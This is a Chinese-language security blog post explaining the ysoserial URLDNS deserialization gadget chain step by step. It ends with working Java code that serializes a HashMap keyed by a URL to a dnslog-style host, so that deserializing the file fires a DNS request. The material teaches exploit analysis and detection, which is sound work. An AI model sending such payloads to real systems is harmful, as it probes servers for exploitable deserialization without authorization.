ysoserial URLDNS利用链分析
在分析URLDNS之前,必须了解JAVA序列化和反序列化的基本概念。其中几个重要的概念:
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
Urldns urldns = new Urldns();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(urldns);
}
public void run(){
System.out.println("urldns run");
}
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
System.out.println("urldns readObject");
s.defaultReadObject();
}
}
对这个测试类Urldns做序列化后,反序列化的时候执行了重写的readobject方法。
import java.io.*;
public class Serializable_run implements Serializable{
public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.readObject();
}
public static void main(String[] args) throws Exception {
Serializable_run serializable_run = new Serializable_run();
serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
}
}
所以只要对readobject方法做重写就可以实现在反序列化该类的时候得到执行。
利用链的思路大致如此,那么分析URLDNS的利用链。
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
该类实际返回HashMap类型,但是HashMap用来用来存储数据的数组是transient,序列化时忽略数据。
因为HashMap重写了writeobject方法,在writeobject实现了对数据的序列化。
还存在重写readobject方法,那么分析readobject中的内容。方法中遍历key值执行putVal方法。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab; // Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
触发:
putVal(hash(key), key, value, false, false);
触发:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里的key对象如果是URL对象,那么就
触发:URL类中的hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
触发DNS请求:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
在hashCode=-1的时候,可以触发DNS请求,而hashCode私有属性默认值为-1。
所以为了实现readobject方法的DNS请求,接下来要做的是:
1、制造一个HashMap对象,且key值为URL对象;
2、保持私有属性hashcode为-1;
所以构造DNS请求的HashMap对象内容应该是:
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
Class<?> aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url, "xzjhlk");
hashCode.set(url,-1);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(map);
}
}
至于为什么在序列化的时候要通过反射将url对象中的hashCode属性稍微非-1,是因为hashCode的put方法也实际调用的是putVal(hash(key), key, value, false, true);
这个过程将触发一次DNS请求。
ysoserial URLDNS利用链分析的更多相关文章
- Commons-Beanutils利用链分析
前言 本篇开始介绍 commons-beanutils 利用链,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先来看一下,什么是 commons-b ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- CommonsCollections2 反序列化利用链分析
在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...
- CommonsCollections3 反序列化利用链分析
InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...
- ysoserial-URLDNS学习
简述 ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是 ...
- YsoSerial 工具常用Payload分析之Common-Collections7(四)
前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- javasec(五)URLDNS反序列化分析
这篇文章介绍 URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作"利⽤链".因为其参数不是⼀个可以"利⽤"的命令,⽽仅为⼀个U ...
- ysoserial-调试分析总结篇(1)
前言: ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是 ...
- Commons-Collections反序列化
Java反序列化漏洞 Commons Collections Apache Commons 是 Apache 软件基金会的项目.Commons Collections 包为 Java 标准的 Coll ...
随机推荐
- [转帖]46岁加入谷歌,51岁发明Go,他的编程原则影响了一大批程序员!
https://www.zhihu.com/tardis/zm/art/551945410?source_id=1005 今年3月,万众瞩目的Go 1.18版本发布,Go终于开始支持泛型了!该版本不仅 ...
- [转帖]linux中top性能分析工具中的TIME+
top命令的TIME/TIME+是指的进程所使用的CPU时间,不是进程启动到现在的时间,因此,如果一个进程使用的cpu很少,那即使这个进程已经存在N长时间,TIME/TIME+也是很小的数值. 此外, ...
- [转帖]sqluldr2 oracle直接导出数据为文本的小工具使用
https://www.cnblogs.com/ocp-100/p/11098373.html 近期客户有需求,导出某些审计数据,供审计人进行核查,只能导出成文本或excel格式的进行查看,这里我们使 ...
- [转帖]PostgreSQL中的schema和user
https://www.cnblogs.com/abclife/p/13905336.html postgresql中,用户创建的所有对象都被创建在指定的schema(或namespace)中.其他用 ...
- [转帖]Docker容器无法访问网络问题(网段冲突)
近日在使用docker在腾讯云服务器上部署项目 运行容器时死活访问不了网络,不论是外网还是内网. 最后找到原因是docker容器ip网段与服务器内网ip网段冲突导致的 使用此命令查看到 ifconfi ...
- [转帖]grafana配置邮件发送
grafana的邮件配置文件是/etc/grafana/grafana.ini,新建grafana.ini文件,内容如下. chown 472:472 grafana.ini ############ ...
- [转帖]VMware-ovftool命令行部署与导出镜像
ESXI6.0之后管理为WEB,OVF导出/部署是个渣渣,如果虚拟机文件过大,一般会报网络异常中断而失败,可使用官方ovftool工具解决,快而方便,支持linux和Mac OSX,可脚本操作,批量处 ...
- [转帖]一文解决内核是如何给容器中的进程分配CPU资源的?
https://zhuanlan.zhihu.com/p/615570804 现在很多公司的服务都是跑在容器下,我来问几个容器 CPU 相关的问题,看大家对天天在用的技术是否熟悉. 容器中的核是真 ...
- 【转帖】eBay 云计算“网”事|网络重传篇
https://www.infoq.cn/article/iy1drmf6wk8up14dchq8/ #导读 在之前的eBay云计算"网"事|网络超时篇和eBay云计算" ...
- 信创CPU与牙膏厂和按摩店CPU的简单对比
信创CPU与牙膏厂和按摩店CPU的简单对比 摘要 周天时学习验证了SPEC2006的工具. 晚上时写完了第一稿简单的使用 因为 SPEC 完整跑完非常漫长. 我想了一下短平快还是通过使用一个简单的 r ...